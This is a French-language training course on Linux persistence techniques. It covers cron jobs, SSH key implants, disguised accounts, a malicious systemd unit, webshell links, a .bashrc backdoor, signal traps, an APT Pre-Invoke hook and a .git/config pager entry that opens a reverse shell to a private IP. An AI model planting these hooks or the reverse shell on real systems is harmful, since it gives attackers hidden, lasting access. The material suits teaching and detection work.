Persistance Linux
Ce cours porte sur les tactiques de persistance sur les systèmes Linux.
Définitions
La persistance
La persistance est l’art de mettre en œuvre des actions sur un système compromis afin d’en maintenir l’accès pour un usage futur.
Souvent utilisée par les attaquants dans la phase de post-exploitation, la persistance peut-être utilisée à travers différents types de payloads :
- Des backdoors
- Des implants C2 (Command & Control)
- Des rootkits
💡La tactique MITRE correspondante à la persistance est TA0003.
Les backdoors
Une backdoor consiste à la mise en place d’un accès non contrôlé par l’administrateur pour accéder à un système, souvent via le shell. La backdoor exploite souvent des fonctionnalités natives telles que la création d’un second service SSH, la mise en place d’un webshell ou simplement via un service légitime utilisé de façon détournée.
Serveur et implant C2
Dans les infrastructures de Command and Control, on retrouve plusieurs composantes :
- Le serveur C2 (Command and Control) : C’est lui qui envoie des commandes et des instructions à une ou plusieurs machines compromises.
- L’implant ou l’agent, quant à lui, est le payload installé sur la machine compromise qui se charge d’exécuter les instructions envoyées par le serveur C2.
- Le listener qui se place entre le serveur et l’implant. Il joue le rôle de dernier rempart avant d’envoyer l’instruction à l’implant. Toutes les communications passent donc par le listener ce qui empêche la victime de connaître l’IP du serveur C2 lorsque le serveur et le listener sont distinct.
Voici un schéma explicatif d’une infrastructure C2
💡 Il existe plusieurs frameworks de Command and Control tels que Cobalt Strike, Empire C2, Sliver et Havoc.
Les rootkits
Il s’agit généralement d’une backdoor sophistiquée qui s’implante dans les couches les plus basses du système d’exploitation comme le noyau, le BIOS/UEFI voir dans des composants matériels de la machine compromise.
Ils sont souvent très difficiles à détecter et à supprimer au vu de leur niveau d’implantation.
Voici une liste de rootkits disponibles pour Linux :
https://github.com/milabs/awesome-linux-rootkits
Les techniques courantes de persistance
Sur Linux, il existe des centaines de techniques de persistance connues, nous allons en étudier quelques une.
Tâche CRON
Les tâches planifiées avec cron permettent de lancer des binaires ou des scripts de manière périodique. Ces tâches sont décrites dans le fichier /etc/crontab :
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
0 10 * * * root /root/backup-nas.sh
Sur la dernière ligne, on aperçoit qu’un script de sauvegarde est lancé tous les jours à 10h par l’utilisateur root.
On pourrait donc profiter de cette fonctionnalité pour créer notre propre tâche planifiée ou en modifier une déjà existante. Il peut aussi s’avérer intéressant d’ajouter notre payload directement dans le script exécuté par la tâche planifiée.
Clé SSH
Le protocole SSH permet l’authentification par clé. Pour rappel, une paire de clés est composée d’une clé privée (dont l’administrateur dispose) et d’une clé publique (présente sur le serveur). La commande ssh-keygen permet de générer une paire de clé et la commande ssh-copy-id transfère la clé publique sur le serveur.
La liste des clés publiques autorisées à se connecter est présente dans le fichier ~/.ssh/authorized_keys.
Une fois toutes ces notions comprises, nous pouvons en profiter pour atteindre la persistance :
- Ajouter une nouvelle clé publique autorisée
- Dérober une clé privée présente sur le serveur
Création et modification de compte
Vous pouvez simplement créer un compte utilisateur ou un faux compte de service pour vous en servir comme backdoor sur un système. Vous pourriez créer un compte rooot ou wwww-data par exemple.
Cette technique ne fonctionne pas seule et nécessite un protocole pour s’authentifier à distance tel que SSH ou Telnet.
Une alternative à la création de compte est l’exploitation d’un compte existant. Par exemple, prenons l’exemple d’un serveur FTP avec un compte de service nommé ftp. Par défaut, si celui-ci est bien configuré, son shell ne doit pas être activé. Toutefois, rien ne vous empêche de modifier le shell par défaut de l’utilisateur pour passer de quelque chose comme /bin/false à /bin/bash .
Service systemd
Le programme systemd, qui a succédé à openrc, gère les processus et les services sur la majorité des systèmes Linux récents.
Un avantage de systemd, est que les services sont accessibles et modifiables via un fichier. Les services peuvent être activés, ce qui signifie qu’ils seront exécutés ou non au démarrage du système.
Un attaquant peut créer un service et l’activer à chaque démarrage du système :
A bad service in /etc/systemd/system/bad.service
[Unit]
Description=Example of bad service
[Service]
ExecStart=/bin/bash /opt/backdoor.sh
[Install]
WantedBy=multi-user.target
Cependant, plutôt que de créer un service de toute pièce, vous pouvez aussi modifier un service déjà existant pour exécuter votre payload.
💡Les emplacements possibles pour un service peuvent être trouvés avec la commande systemd-analyze unit-paths .
Webshell
Comme présenté durant la formation des shells de Samuel, les webshells permettent d’exécuter des commandes sur le système compromis via une application web, souvent en php.
Ils sont très souvent utilisés comme backdoor sur les serveurs web compromis.
Voici quelques exemples de webshell :
- Simple webshell php : https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
- Pentestmonkey : https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
- P0wny-shell : https://github.com/flozz/p0wny-shell/blob/master/shell.php
Fichiers de démarrage et configuration utilisateur
Plusieurs fonctionnalités systèmes sur Linux permettent d’exécuter des scripts, des commandes ou des binaires au démarrage du système ou de la session utilisateur. Cela est possible comme on l’a vu grâce aux services systemd mais aussi via le bashrc ou le motd. OpenRC permet aussi de lancer des binaires personnalisés dans certains dossiers lorsqu’il est installé (sur de vieux systèmes généralement).
Fichier ~/.bashrc
[...]
/bin/bash /opt/backdoor.sh
Initialement, le bashrc est utilisé pour charger des configurations du shell et des variables d’environnement lors du lancement du shell de l’utilisateur. Dans l’exemple ci-dessus, une backdoor cachée dans le bashrc de l’utilisateur est chargé à chaque fois que l’utilisateur se connecte à sa session.
Signaux
Dans le shell, les signaux sont utilisés pour envoyer une information au processus en cours.
Par exemple, l’utilisation la plus courante des signaux s’observe lorsque vous forcez l’arrêt d’un processus grâce à la combinaison de touche CTRL+C qui envoie un SIGINT (signal d’interruption) au processus en cours d’exécution.
La bonne nouvelle pour les amateurs de persistance, c’est qu’il est possible de modifier le comportement des signaux avec la commande trap !
Voici la syntaxe :
trap [commande] [signal]
Voici les signaux signaux modifiables :
Signaux | ID | Description |
SIGINT | 2 | Interruption (Ctrl+C). |
SIGTERM | 15 | Demande de terminaison. |
SIGHUP | 1 | Hangup (fermeture de terminal). |
SIGQUIT | 3 | Quitter (Ctrl+). |
EXIT | / | ignal spécial qui n’est pas un vrai signal mais qui est exécuté à la sortie du script. |
Infection de configuration logicielle
Comme on l’a vu avec les fichiers de configuration des utilisateurs, il est possible d’infecter des configurations logiciels pour exécuter une charge malveillante à souhait.
Par exemple, le gestionnaire de paquets aptitude est capable d’exécuter une commande personnalisée à chaque mise à jour des dépôts :
Fichier /etc/apt/apt.conf.d/99persist
APT::Update::Pre-Invoke {"/bin/bash /opt/backdoor.sh &"};
Un autre cas, un peu plus spécifique où un reverse shell est exécuté à chaque nouveau commit d’un dépôt Git dans un .git :
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
pager = nohup bash -c 'bash -i /dev/tcp/192.168.1.132/1234 0>&1'>/dev/null 2>&1 & ${PAGER:-less}
Conclusion
La persistance est un sujet vaste avec des techniques plus ou moins sophistiquées qui ne dépendent en réalité que de la créativité et de la connaissance qu’a l’attaquant sur le système qu’il cible.
C’est pourquoi, il est possible de mettre en place des règles de détection pour la modification d’un fichier suspect tel que le bashrc ou lors de la modification d’un service. Mais la diversité des techniques est tellement large qu’il est difficile, voire impossible de couvrir toutes les techniques exploitables, d’autant plus qu’il est possible de les combiner.